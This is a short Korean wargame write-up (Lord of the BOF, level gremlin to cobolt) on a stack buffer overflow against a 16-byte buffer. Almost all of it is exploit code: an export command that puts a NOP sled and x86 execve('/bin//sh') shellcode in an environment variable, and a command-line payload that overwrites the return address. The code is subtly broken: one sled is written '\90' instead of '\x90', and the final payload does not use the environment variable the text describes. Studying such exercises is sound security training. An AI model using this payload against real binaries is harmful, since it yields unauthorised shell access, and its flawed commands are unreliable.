문제풀이/bof원정대

bof원정대 gremlin -> cobolt

Oth 2016. 8. 15. 17:02



cobolt의 소스코드를 보시면 먼저 버퍼부분이 256 -> 16으로 바뀌어져있습니다. 즉 예전에는 쉘코드를 256바이트 부분에다가 넣었다면 이번에는 그렇게할 수 없다는 뜻입니다. 


이 때 사용하는 방식이 쉘코드를 환경변수에 넣는 방식입니다. 


export SHELLCODE=$(python -c 'print "\90"*50+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"')


위 명령어를 입력한 후 env 를 이용해서 현재의 환경변수를 확인할 수 있습니다. 


./cobolt `python -c 'print "\x90"*20+"\x08\xfb\xff\xbf"+"\x90"*20+"\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"'`


bf ff fb08